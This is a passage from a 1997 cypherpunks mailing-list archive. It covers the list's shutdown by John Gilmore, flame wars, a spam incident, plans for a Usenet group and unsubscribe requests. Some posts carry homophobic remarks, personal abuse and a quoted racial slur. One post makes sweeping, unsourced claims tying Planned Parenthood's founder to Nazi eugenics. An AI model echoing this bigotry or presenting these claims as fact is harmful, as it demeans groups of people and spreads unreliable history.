incredible burden on the average user, to say nothing of very likely
forcing many smaller ISPs out of business.  In addition, this will cause
an extremely adverse affect on the rural user who does not have toll
free access to the larger ISPs, i.e., AOL, Prodigy and others.  If you
feel as I do, drop an Email message to the FCC who has requested
comments.  Their address is:  mailto:isp@fcc.gov  You may "click"
directly on the address which will bring up an Email message box in most
programs.  Add your comments, pro or con, and send it off!  

Deadline for all comments is Thursday, February 13, 1997!

My message follows.
------------------------------------------------------------------------

Allowing the imposition of a per minute charge on Internet use will not
only destroy the growth of the Internet, it flies in the face of
improving the education of our children.  Published figures indicate
that--for the first time in decades--the television is being replaced by
the computer.  This growth, undoubtedly, will be wiped out by this
proposed new "tax".  In addition, to virtually eliminating access to
sources of information over the entire world, no small Internet Service
Provider (ISP) will be able to compete with the larger ones who will be
able to negotiate lower rates.  Another "kick in the pants" to small
business!  

I summarily reject allowing the telecommunications industry to "reach
into the pockets" of those of us who use the Internet (and rely on it)
for our access to information!  This single act--if permitted--will set
back the "information age" decades!

I IMPLORE YOU NOT PERMIT THE IMPOSITION OF THIS NEW TAX"!!!!!!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|     Put Forth:                                                       |
|                          "Your Best Image"                           |
|                                with                                  |
|               Computer System Configuration & Assistance             |
|          Business Consulting, Guidance & Management Services         |
|             Employer/Employee Human Relations Counseling             |
|             Technical & Business Writing & Graphic Arts              |
|          REsumEs, Interview Training & Employment Counseling         |
|                                                                      |
|   Professional Business Consultants with over 30 Years Experience!   |
|                                                                      |
|       Post Office Box 1438              Telephone (406) 642-3900     |
|    Hamilton, Montana 59840-1438         Fax       (406) 642-3993     |
|                                                                      |
|              Email                           World Wide Web          |
|   mailto:info@yourbestimage.com       http://www.yourbestimage.com   |
|______________________________________________________________________|
|             Because e-mail can be altered electronically,            |
|       the integrity of this communication cannot be guaranteed.      |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:55:55 -0800 (PST)
To: cypherpunks@algebra.com
Subject: [STATS] Cypherpunks-unedited subscriptions
Message-ID: <199702130655.WAA06378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for cypherpunks-unedited:
-------------------------------------------
Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 15
Tue 21 Jan: 28
Fri 24 Jan: 30
Mon 27 Jan: 34
Tue 04 Feb: 43
Tue 11 Feb: 62

When Gilmore made his pronouncement that "the subscribers have spoken",
only a minority of the "real" subscribers were on the -unedited list.

Since the above figures don't include Sandfort's entry, the jump to
62 as of yesterday (despite the discontinuance) easily represents
the majority of the active (real) subscribers.  Another blood stain
on Gilmore's shroud, as it were.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <199702130511.VAA29289@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: your mail
>To: markk@randomc.com (Mark Krell)
>Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST)
>Reply-To: ichudov@algebra.com (Igor Chudov)
>From: ichudov@algebra.com (Igor Chudov @ home)
>X-No-Archive: yes
>Organization: Bool Sheet Software
>
>I do not think that you are on one of my mailing list.
>
>If you think that you are, please send me one of the sample messages
>WITH FULL HEADERS that came to you frm my list.
>
>I am willing to help you.
>
>	- Igor.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:41:56 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: John Gilmore the fascist cocksucker
Message-ID: <199702130041.QAA10394@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Why you are doing this, Paul?
> 
> 	- Igor.

It would appear that someone I gave my password to the other day (I 
recieve no sensitive mail through this account) so they could use it 
to test a machine has a rather infantile sense of humour and have 
taken my critical posts to the list to mean that I want to spam a 
mailing list with dreck like this.

I shall ensure the offending fool is castrated forthwith...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 22:11:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re :Re?
Message-ID: <199702130611.WAA03597@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: camcc@smtp1.abraxis.com
>Date: Wed, 12 Feb 1997 22:36:16 -0500
>To: Mark Krell <markk@randomc.com>
>From: camcc@abraxis.com (Alec)
>Subject: Re :Re? 
>Cc: cypherpunks@toad.com
>
>At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
>:
>:Attachment Converted: "c:\remove1.txt"
>:
>How, do you imagine, did you get on this God-forsaken list? Anger abounds. 
>
>Is this Kismet that you are here now at this crucial moment of the list's
evolution?
>
>Perhaps you have something to offer of which you are not aware.
>
>Avail yourself of our hospitality as we implode. Flee not.
>
>There is meaning to this. So our savants have told us.
>
>Speak the words to Majordomo@toad.com in the message panel (no quotes):
>
>"unsubscribe cypherpunks"
>
>Speak only thus.
>
>Bother us no more at our moment of transfiguration.
>
>Hail and farewell, Bro.
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:41:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam posts from my acct.
Message-ID: <199702130041.QAA10399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cpunks,


A number of spam mails (I counted about 100 in my incoming mail) were 
sent to the list from my account last night.

I do not take particular precautions with my password for this 
account as there is no sensitive mail sent through it, I recall in 
particular giving the password to someone to test out a machine 
recently and I believe they may be the culprit. 

Again, my appologies for the inconvenience and you have to admit that 
while his method may have been less than subtle his message was 
certainly something we can all relate to ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 13 Feb 1997 08:56:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale-Further proof
Message-ID: <199702131656.IAA05974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another Dale day (blah):

:Date: Wed, 12 Feb 1997 22:37:58 -0800
:From: Dale Thorn <dthorn@gte.net>
:To: cypherpunks@toad.com
:CC: dlv@bwalk.dm.com

:Another blood stain on Gilmore's shroud, as it were.

As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.

Ipso facto.

As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

And, cc: Doctor V., no less. What cabal is this with cc's in the clear? 

Love you, fella.
(You can tell, can't you.) 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 14 Feb 1997 09:00:36 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141700.JAA10634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The provocateurs won.
Too bad.  Seems Cpunks caved to the simplest of attacks.
Proves you don't need key-escrow or any of the rest to 
  ahem, "affect" unfettered discourse in cyberspace.




At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   
>       The plan for the cypherpunks mailing list was simple. It was to be
>   an online gathering place, an intellectual mosh pit, dedicated to the
>   free flow of ideas and personal privacy through encryption.
>   
>       Of course it caught on. From its modest beginnings connecting a
>   few friends who lived in Northern California, it quickly grew into one
>   of the most rowdy, volatile lists on the Net: Cypherpunks typically
>   piped more than 100 messages a day into the mailboxes of nearly 2,000
>   subscribers. And the list became a kind of crypto-anarchist utopia.
>   Populated by pseudonymous posters with names like Black Unicorn, it
>   was a corner of cyberspace where PGP signatures and digital cash were
>   the norm -- and there were no rules. Then yesterday came the news: The
>   list was being evicted and faced imminent shutdown.
>   
>       In an e-mail seen 'round the Net, John Gilmore, Electronic
>   Frontier Foundation cofounder and list maintainer, announced that he
>   was no longer willing to provide a virtual home for the cypherpunks.
>   In a post entitled "Put Up or Shut Up," he described how his efforts
>   to improve the list through moderation were condemned, how technical
>   problems were consuming more of his time, how pranksters had tried to
>   subscribe the entire U.S. Congress to the list. How this experiment in
>   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
>   lodgings.
>   
>       "The last straw for me was seeing the reaction of the list to
>   every attempt to improve it. It was to carp, to cut it down, to say
>   you're doing everything wrong," Gilmore told me yesterday night. One
>   of the first employees of Sun, Gilmore quit after eight years -- a
>   millionaire more interested in pursuing ideas than dollars. But his
>   experiment with the list has left him weary. "If everything I'm doing
>   is wrong, I'm clearly not the right person to host the list," he said.
>   
>       "I would like to see some other structure in which the positive
>   interactions on the list could continue. I'm not trying to create that
>   structure anymore," he added. Instead, he would try the only true
>   crypto-anarchist solution: "I'm handing it over to members to do what
>   they wish with it."
>   
>       The cypherpunks first pierced the public's consciousness when
>   Wired magazine splashed them across the cover of the second issue. The
>   Whole Earth Review and the Village Voice followed soon after. The name
>   "cypherpunk" came to be synonymous with a brash young breed of
>   digerati who were intent on derailing the White House's encryption
>   policies and conquering cyberspace. This was crypto with an attitude.
>   
>       Gilmore was typical of the breed. Monthly Bay Area meetings of the
>   'punks were held in the offices of Cygnus, a company he started to
>   provide support for the free Unix alternative, GNU.
>   
>       But the veteran cypherpunk came under heavy fire in November 1996,
>   when a loudmouthed flamer flooded the list with flame bait and ad
>   hominem attacks on various members. Finally, Gilmore, ironically, gave
>   him the boot -- and incited an all-consuming debate over what the
>   concept of censorship means in a forum devoted to opposing it. In a
>   society of crypto-anarchists, who should make the rules? The mailing
>   list melted down. By last month, it seemed, more messages complained
>   about censorship than discussed crypto.
>   
>       Indeed, for months Gilmore seemed unable to do anything right. He
>   tried moderation, which proved to be even more contentious, raising
>   the question of empowering one cypherpunk to decide what was
>   appropriate for others to read. One member of the group, in effect,
>   would be more equal than the rest. And why would members take the time
>   to write elaborate, thoughtful articles on crypto-politics if their
>   treatises might not make it past the moderator's keyboard?
>   
>       After the expulsion, some of the longtime list denizens left
>   angrily, joining the 700 subscribers who had departed since the
>   controversy began. One of those was Tim C. May, a crusty former Intel
>   engineer who prides himself as the organizer of the first cypherpunk
>   meeting in September 1992. In an essay summarizing the reasons for his
>   departure, he wrote: "The proper solution to bad speech is more
>   speech, not censorship. Censorship just makes opponents of 'speech
>   anarchy' happy -- it affirms their basic belief that censors are
>   needed."
>   
>       After all, May pointed out, the list ended up on Gilmore's
>   toad.com machine only by happenstance -- it almost was housed on a
>   workstation at the University of California at Berkeley. Ownership of
>   the computer with the database of subscribers did not mean that
>   Gilmore owned the cypherpunks. "Whatever our group once was, or still
>   is, is not dependent on having a particular mailing list running on
>   someone's home machine... and it cannot be claimed that any person
>   'owns' the cypherpunks group," May wrote.
>   
>       The cypherpunks have responded to Gilmore's eviction notice. List
>   participants generally have halted the incessant attacks on Gilmore,
>   and now the discussion has turned to how to continue this experiment
>   in online anarchy -- while preventing one person from ever again
>   having absolute control of the List. Within hours of Gilmore's
>   announcement, posters were tossing around ideas of a distributed
>   network of mailing lists that would carry the cypherpunk name, and
>   other 'punks likely will migrate to the more tightly controlled
>   coderpunks and cryptography lists.
>   
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>   
>###
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 08:11:34 -0800 (PST)
To: Cypherpunks <cypherpunks@algebra.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702131611.IAA04916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com writes:
> > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > > firewall lets them.)
> >
> > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > > It takes a vote. I'm willing to be one of the proponents and generally help
> > > with the process. (Both I and Igor have been co-proponents of major Usenet
> > > newsgroups - don't know about other people onthis list. :-)
> >
> > Not only it takes a vote. What is more important is what a vote gives:
> > a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> > ensures that, on average, a good balance is found between various groups
> > of readers.
> >
> > I am not concerned as to what the name of the group will be, it is
> > not important. What is important is that it should be in a more or
> > less flame-free zone.
> 
> I'm concerned about smart people stuck behind corporate firewalls
> and able to see comp.* and sci.*. Nearly every big Wall St firm
> is that way. Did I ever relate to you the story how I had to
> break through the firwall at GS to accomplish mywork?

Would be interesting.

> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

It is not only because of that. There are two categories of people
who simply do not visit com.* groups: sex spammers and trollers
(who post articles like I RAPED A NIGGER CHILD to tens of newsgroups).

If the group is created in a space that is isolated from them, that is
already good.

As for net.cops, check out what Scott Nudds does in comp.lang.c++

> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?

Chris Lewis can exclude newsgroups from his spam watch. I think that
if cypherpunks put something forbidding third party cancels into the
charter, he will not cancel stuff posted there.

> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?

Yes, there is a notorious net.cop The Right Reverend Colin James III (spit).

A sample of his stukachestvo is attached at the bottom of this letter.


>From ares.csd.net!cjames  Fri Dec  8 00:00:29 1995
Return-Path: <cjames@ares.csd.net>
Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp
        (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST
Received: by ares.csd.net (5.65/DEC-Ultrix/4.3)
        id AA08055; Thu, 7 Dec 1995 22:02:44 -0700
Message-Id: <9512080502.AA08055@ares.csd.net>
From: cjames@ares.csd.net (Colin James III (The Rt Rev'd))
To: ichudov@espcbw.stat.ncsu.edu (Igor Chudov),
        postmaster@espcbw.stat.ncsu.edu, postmaster@stat.ncsu.edu,
        postmaster@ncsu.edu
Subject: Re: Nauseating typedefs -- pros and cons
Date: Fri, 08 Dec 1995 03:13:53 GMT
Organization: CEC Services
Reply-To: cjames@ares.csd.net
References: <461dph$ske@saba.info.ucla.edu> <48np3j$1b4@solutions.solon.com> <4a
7rpv$fj@taco.cc.ncsu.edu>
X-Mailer: Forte Agent .99b.112
Status: RO

On 7 Dec 1995 23:02:23 GMT, ichudov@espcbw.stat.ncsu.edu (Igor Chudov)
wrote with possible deletions:

| Douglas Evan Cook (cookd@bert.cs.byu.edu) wrote:
| *                     The real question comes down to: when do you need to 
| * use INT32 or INT16?  Usually, you only need it when you are saving info 
| * to a disk or when you need to make sure that your numbers won't 
| * overflow.  A little bit of hardware control is also given.  But when you 
| * don't get those advantages, a plain int is just great.
| 
| It is NOT great at all. Each variable is associated with a range of
| values. This range of values comes from the requirements of external world. 
| Say, some program _must_ be required by business rules to store
| $$ amount as an integer value, and it may be specified in the
| requirements that $$amount cannot be more than $1,000,000. If I,
| as a careless programmer, program variable dollar_amount as int
| just because my RS6000 has 32-bit ints, this program will NOT be
| portable to 16-bit computers.
| 
| You can invent an untold amount of such situations. If I defined
| DollarAmount_t as UINT32, I would effectively avoid this trouble.
| 
| * So for your scanf 
| * vars, just use ints.  Then do range checking and then assign them into 
| * the UINT16 type or whatever only if you need to.
| 
| The solution is very simple and cool (IMHO). 
| 
| In the same file where you define INT16, UINT32, etc, add the following: 
| 
| #ifdef AIX
|   typedef long INT32;
|   #define F_INT32 "ld"
| 
|   typedef unsigned short UINT16;
|   #define F_UINT16 "u"
| #endif
| 
| #ifdef YOUR_FAVORITE_MACHINE
|   typedef short INT32; // Maybe for 64-bit machines, never worked with them
|   #define F_INT32 "d"
| ... etc etc ...
| 
| Then you define your user types: 
| 
|   typedef INT32 DollarAmount_t;
|   #define DollarAmount_f INT32_F // You make it a rule to define
|                                  // formats right along with types
| 
| Usually, in scanf (and printf) people write things like this: 
| 
|       printf( "%ld is the dollar amount for customer %4.4d\n", 
|               amount, cust );
| 
| Instead, you write
| 
|       printf( "%" DollarAmount_f " is the dollar amount for customer "
|               "%4.4" Cust_f,
|               amount, cust );
| 
| It is a totally portable code. All you need to port primitive types 
| is to recompile it.
| 
| -- 
|    - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html
|    For public PGP key, finger me or send email with Subject "send pgp key"
| 
| You know you have achieved perfection in design, not when you have nothing 
| more to add, but when you have nothing more to take away.
|                           - Antoine de Saint Exupery.

Kindly remove comp.lang.eiffel from distribution of this thread.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
Colin James III, Principal Scientist           cjames@csd.net
CEC Services, 2080 Kipling St, Lakewood, CO  80215-1502   USA
Voice: 303.231.9437;  Facsimile: .231.9438;  Data:  .231.9434  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rhode Island Business Net <ici@ici.net>
Date: Thu, 13 Feb 1997 11:58:40 -0800 (PST)
To: you@uhura.ici.net
Subject: RAM CHIP SALE!
Message-ID: <199702131958.LAA09863@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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---------------------------------------------------------------------------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Thu, 13 Feb 1997 17:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: unsubcribe
Message-ID: <199702140111.RAA15616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE <lerhuber@joshuanet.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 17:26:59 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140126.RAA15935@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:18 PM 2/12/97 -0600, Jim Choate wrote:
[quoting Tim May]
>> I was making the point that _any_ site distributing a list is likely to
>> face legal pressures not to carry certain items. Read between the lines (or
>> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
>> the products of Sandy's company, and legal pressures applied, to see what I
>> mean.
>
>This is exactly the reason that my suggestion to anyone setting up a
>remailer with any sort of controversial content should do it as some sort of
>outreach of their business. It is too expensive in time, money, and hassles
>to do for grins and giggles.

I disagree strongly that a controversial or legally troublesome list (or
other data stream) should be closely associated with a business. While I
agree that it's important that a list be supported by a robust
hardware/software/network infrastructure, businesses tend to be focused on
making money and maintaining business relationships, not on abstract or
philosophical goals like "free speech".

(Also, what is the "right" thing to do where a particular exercise of free
speech looks like it has serious potential to harm the business, thereby
harming or eliminating the list which makes the speech possible? Isn't
every choice a person could make in such a situation reducible to
"censorship"?)

Every "forum" for free speech occurs exists in the context of economic and
political relationships - and there will always be some message which
threatens (to some degree) the stability of those relationships, and by
implication, the forum itself. Unless we can eliminate economics and
politics (ha, ha) I think that will always be the case - and there will
always be some messages which raise "conflict of interest" problems. But
some forums rest on less stable relationships (like, for example, most
small businesses) and are more easily threatened by difficult messages.
It's much easier to disrupt the income stream of a small business than to
disrupt the income stream from a portfolio of investments or savings. But
even a system whose upkeep was funded by something as unremarkable as
interest on a savings account or a CD would still theoretically be
"conflicted" were someone to use the system to propose or carry out a
scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
loot various savings & loans. 

The threat(s) to systems providing transport/storage for controversial
messages are not limited to liability after a judgement; it is becoming
more common for civil plaintiffs to seek (and get) discovery of the actual
hardware owned and used by defendants, in order to look through the storage
media for discoverable information, including "deleted" files. The tactics
the Co$ used against its critics were shocking but also legal (modulo some
irregularities). It's certainly not unimaginable that similar tactics would
be used against a remailer or majordomo operator were the list to pass
traffic that someone didn't like. And if a computer system is the target of
a search warrant in the criminal arena, you'll be lucky if you get to keep
your electronic alarm clocks after the search. Count on everything with a
chip in it going away in the police van.

Most businesses don't want to expose themselves to the threat of civil or
criminal seizure or discovery, especially not at random times and for
non-business reasons. So, to the extent that they're paying attention, they
may choose not to expose themselves to extra liability which carries little
(or no) business value.  
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 19:26:12 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale-Further proof
Message-ID: <199702140326.TAA18432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> Yet another Dale day (blah):
> :From: Dale Thorn <dthorn@gte.net>
> :Another blood stain on Gilmore's shroud, as it were.

> As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.
> As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

Unlike crypto, metaphors are easier to "decode" than "encode", so it
takes quite a bit less intellect for you to understand them than it
takes for me to make them.  But I don't see that as a "bad" thing
for you.  It's a savage, cruel world out there, and only when you
shut yourself off to it (unwittingly in your case) do you feel "good".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Thu, 13 Feb 1997 08:56:06 -0800 (PST)
To: "'cyberpunk@toad.com>
Subject: FW: I would like to be out of your mailing list
Message-ID: <199702131656.IAA05958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I would like to get out of your mailing list , please indicate the correct procedure. Thanks. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Thu, 13 Feb 1997 15:26:15 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE FROM MAILINGS
Message-ID: <199702132326.PAA13543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS.

THANK YOU






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 13 Feb 1997 20:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale disses gays.
Message-ID: <199702140456.UAA21144@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 13 Feb 1997 19:35:01 -0800
From: Dale Thorn <dthorn@gte.net>

:Another funny thing - I'm an ordinary English/Welsh/Dutch White :person,

Makes me hate myself.

:and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

How, Dale, by the smell?

:I can only guess that the gays are very clique-ish,
:or their brains are wired differently than non-gays.

Perhaps the hard wiring makes it possible for them to avoid bigots like you. 

Sign him up to pass out the pink triangles.

What a fraud!

Still love you, big guy.
Can you tell?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:56:22 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702140456.UAA21168@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> A federal judge has temporarily stopped an abortion foe from
> identifying his web site as belonging to Planned Parenthood and
> selling an anti-abortion book from that home page. The temporary
> restraining order, issued Wednesday, stops Richard Bucci from
> identifying his home page as "Planned Parenthood's Home Page" and
> using "plannedparenthood.com" as a domain name. Planned Parenthood,
> which has its own web site, sued Bucci for trademark infringement. The
> next hearing is slated for Feb. 20. For the full text story, see
> http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

"Planned Parenthood". Has a nice ring to it, eh? Let's look at some
history:

Founded by Margaret Sanger (1879-1966).
Publisher of Birth Control Review.
Associate Henry Laughlin:
  Honorary MD from Heidelburg U (1936).
  Author of Hitler's Model Eugenical Sterilization Law.
  Author of "Mandatory Sterilization In The USA", published
   in Birth Control Review.
Associate Dr. Ernst Rudin:
  Director of Nazi Medical Experimentation program;
   commissioned to write for Birth Control Review.
Associate Dr. Lothrop Stoddard:
  Director, American Birth Control League.
  Vocal supporter of Nazis and their sterilization programs.
  Author of "The Rising Tide Of Color Against White Supremacy".
  Quote: "More children from the fit - less from the unfit. That
         is the chief aim of birth control." -from Birth Control
         Review circa 1921.

Margaret described her plan to depopulate the Blacks in the U.S. in
a private letter to Clarence Gamble, dated Oct. 19, 1939.  Her plan
was to hire Black ministers with engaging personalities to travel
thru the South to propagandize for birth control.  It was believed
that the best access to the Blacks was thru religion, and Sanger's
steering committee wanted to create the illusion that these projects
were under the control of the local Black leaders.

For those of you who don't know, there were a lot of successful
sterilizations in the U.S. when these programs were in effect during
Sanger's earlier years.  Persons wishing to research this should
also check Shockley, the transistor guy who won a Nobel prize for
something or other, and his friendship with George Bush et al.

I believe it was A&E channel that ran the Sanger TV-movie disinfor-
mation/propaganda a year or so ago.  You know, the channel that has
been described by critics as "All Hitler, all the time".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:56:19 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale disses gays.
Message-ID: <199702140456.UAA21158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

> :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

> How, Dale, by the smell?

I worked for a gay man in Beverly Hills and Encino for 3 years.  I
learned a lot about "signals" during that time.  Bigot?  I don't
think so.  One of my favorite customers, a nice lady who is Jewish
(and who grew up where I did) told me she could spot 'em every time.

> Sign him up to pass out the pink triangles.
> What a fraud!  Still love you, big guy.  Can you tell?

I'll bet you do!  Er, I wouldn't bend over in front of you, that is.
No offense, ya' know.

BTW, my browser has a problem with your lines that have no c/r after
every 70 or so characters. Other people will undoubtedly confirm that.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 21:10:59 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (2) More on Digital Postage
Message-ID: <199702140510.VAA21678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May allegedly said:
> 
[...]
> By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> violations of the First Amendment.

You are entitled to any tortuous idiosyncratic opinion you care to
hold, of course.

> I understand why the herd _wants_ these
> laws, as it reduces the costs involved in replacing fax paper, running to
> the telephone only to find someone trying to sell something, etc., but it
> is quite clearly a prior restraint on speech, however well-intentioned.

"Prior restraint" is not a magic key.  Not all speech is protected.  
Of course, once again, you are free to disagree with the massive 
body of legal precedent on this issue.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
